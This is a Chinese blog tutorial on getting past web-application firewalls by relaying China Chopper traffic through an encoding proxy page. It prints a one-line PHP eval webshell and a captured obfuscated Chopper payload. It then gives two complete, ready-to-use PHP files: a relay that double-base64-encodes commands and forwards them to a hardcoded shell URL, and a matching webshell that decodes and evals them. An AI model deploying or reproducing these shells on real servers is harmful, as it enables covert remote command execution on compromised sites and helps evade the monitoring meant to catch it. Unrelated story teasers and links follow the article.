中转Webshell绕过流量检测防护

->_<-

0x00 前言

前一阵子心情不太好,本来已经不打算写东西了,但想到自己在学习的时候摸爬滚打,吃尽了苦头,现在虽小有成就,但仍有很多同行道友在这条道路上不断摸索,思索再三,还是打算继续写下去,算是为迷茫中的人点亮一盏微弱的灯……So,这篇文章写详细一些,就当找个愿意听的人说话了

老规矩,以PHP为例做讲解

0x01 原理

这里先给大家介绍一句话木马和菜刀的工作原理,了解的可以往下面翻

一句话木马

先说说一句话木马的原理

<?php eval($_POST['c']);?>

先说说eval()这个函数
简单点说,eval()这个函数会把参数当作代码来执行
什么叫做把参数当作代码来执行,简单举个例子

<?php  phpinfo();?>

phpinfo()函数都明白吧,不明白也没关系,它执行结果是这样的

phpinfo()
<?php eval('phpinfo();');?>

当把phpinfo()函数作为字符串传递给eval()函数时,效果就相当于刚才的代码


eval('phpinfo()')

关于eval()函数就介绍到此,如果还有不明白的自己翻翻资料,或者私信我

下面再说我们刚才写的那个一句话木马,现在理解起来就容易多了,它会把POST传递过来的参数c的内容作为PHP代码执行,具体执行的内容由POST参数决定,比如执行系统命令

POST
c=system('whoami');
whoami

这样只需要不断改变POST过来的数据,就可以实现任意功能

这就是一句话木马的原理

菜刀

理解了一句话木马的原理后,菜刀的原理就更简单了
菜刀其实就是根据一句话木马的原理,将常用的一些操作的代码封装好,再结合图像界面(GUI),实现当你双击文件夹时便可列出目录
为了方便理解这里用wireshark抓个数据包


wireshark
POST
c=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXFdJTkRPV1NcXA%3D%3D

感兴趣的可以将发送的数据代码自己分析分析,这里就不具体讲了

0x02 中转webshell

先扯点历史

接着刚才菜刀原理说,既然已知了菜刀是将封装好的参数根据用户操作发送给webshell,那么站在防护的角度来讲,我可以将主流的菜刀参数都设为黑名单,发现就拦截,甚至我可以对你发送的数据内容进行简单的自动审计,发现敏感的代码直接拦截掉

这个就是早期的一些防护软件的拦截手段

于是,就有了一帮逆向大牛对菜刀进行逆向,将封装好的参数进行混淆,或者对防护软件进行fuzz,然后找到不拦截的参数去替换,这样就能实现一个“过狗”的效果

但是更有一群人浑水摸鱼,在外发放了很多捆有后门的菜刀坐收渔翁之利,而且随着防护软件越来越完善,找到一些能够替换的函数代价太大,于是就有了中转webshell(主要还是因为不会逆向……因为懒……)

中转webshell的逻辑很简单,菜刀不直接向shell发送数据,而是发送到中转的一个页面上,这个页面对接收的参数全部进行加密(甚至可以用2048位的RSA,只要你愿意),然后再发送给shell,shell接收后先用同样的算法进行解密,然后对执行的结果进行加密,返回给中转shell,中转shell再去解密,然后返回给菜刀客户端

这样就能实现自定义加密算法对菜刀的数据进行加密来绕过一些防护设备,话不多说,上图


中转webshell

理解了原理就可以开始造轮子了

0x03 造轮子

中转shell
<?php
    set_time_limit(0);
    $url = 'http://192.168.157.142:81/shell.php';  //真实shell地址
    $opt_data = http_build_query($_POST);

    $content = postdata($url,encode($opt_data));

    $content = decode($content);

    echo $content;

    function encode($data){
        return base64_encode(base64_encode($data));
    }

    function decode($data){
        return base64_decode(base64_decode($data));
    }
    
    function postdata($url,$data){
        $curl = curl_init();  //初始化
        curl_setopt($curl,CURLOPT_URL,$url);  //设置url
        curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC);  //设置http验证方法
        curl_setopt($curl,CURLOPT_HEADER,0);  //设置头信息
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);  //设置curl_exec获取的信息的返回方式
        curl_setopt($curl,CURLOPT_POST,1);  //设置发送方式为post请求
        curl_setopt($curl,CURLOPT_POSTFIELDS,$data);  //设置post的数据
        
        $result = curl_exec($curl);
        if($result === false){
            echo 'Request False!';
            echo curl_errno($curl);
            exit();
        }
        curl_close($curl);
        return $result;
    }
?>
webshell
<?php
    function callback($buffer){
        return (encode($buffer));
    }

    ob_start("callback");

    parse_str(decode(file_get_contents('php://input')),$_POST);

    eval($_POST['c']);

    function encode($data){ //加密算法
        return base64_encode(base64_encode($data));
    }

    function decode($data){ //解密算法
        return base64_decode(base64_decode($data));
    }

    ob_end_flush();
?>

效果如下:
1.菜刀连接中转shell


image.png

2.中转shell修改真实shell的url


image.png

3.通过菜刀执行系统命令查看ip
image.png

可以看到我们打开的是192.168.157.128的会话,但实际操作的确是我们的目标靶机192.168.157.142

至此结束

0xFF 尾言

身边每个人都要去珍惜,不要等到失去才后悔莫急
——鲁迅

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,968评论 6 482
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,601评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 153,220评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,416评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,425评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,144评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,432评论 3 401
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,088评论 0 261
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,586评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,028评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,137评论 1 334
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,783评论 4 324
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,343评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,333评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,559评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,595评论 2 355
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,901评论 2 345

推荐阅读更多精彩内容

  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell实现与隐藏探究 一...
    JackyTsuuuy阅读 20,707评论 2 13
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,812评论 0 9
  • 官网 中文版本 好的网站 Content-type: text/htmlBASH Section: User ...
    不排版阅读 4,367评论 0 5
  • 在渗透测试的后期,为了维持权限。我们通常都会选择使用大小马或者通过添加账户等各种各样的方式给自己留个后门。但是事情...
    自我陶醉阅读 5,165评论 0 3
  • 一、升级步骤 1、升级工具包 2、生成一个与原来工程一样名字的工程 3、将iOS和Android原生工程先进行手动...
    peaktan阅读 5,949评论 6 6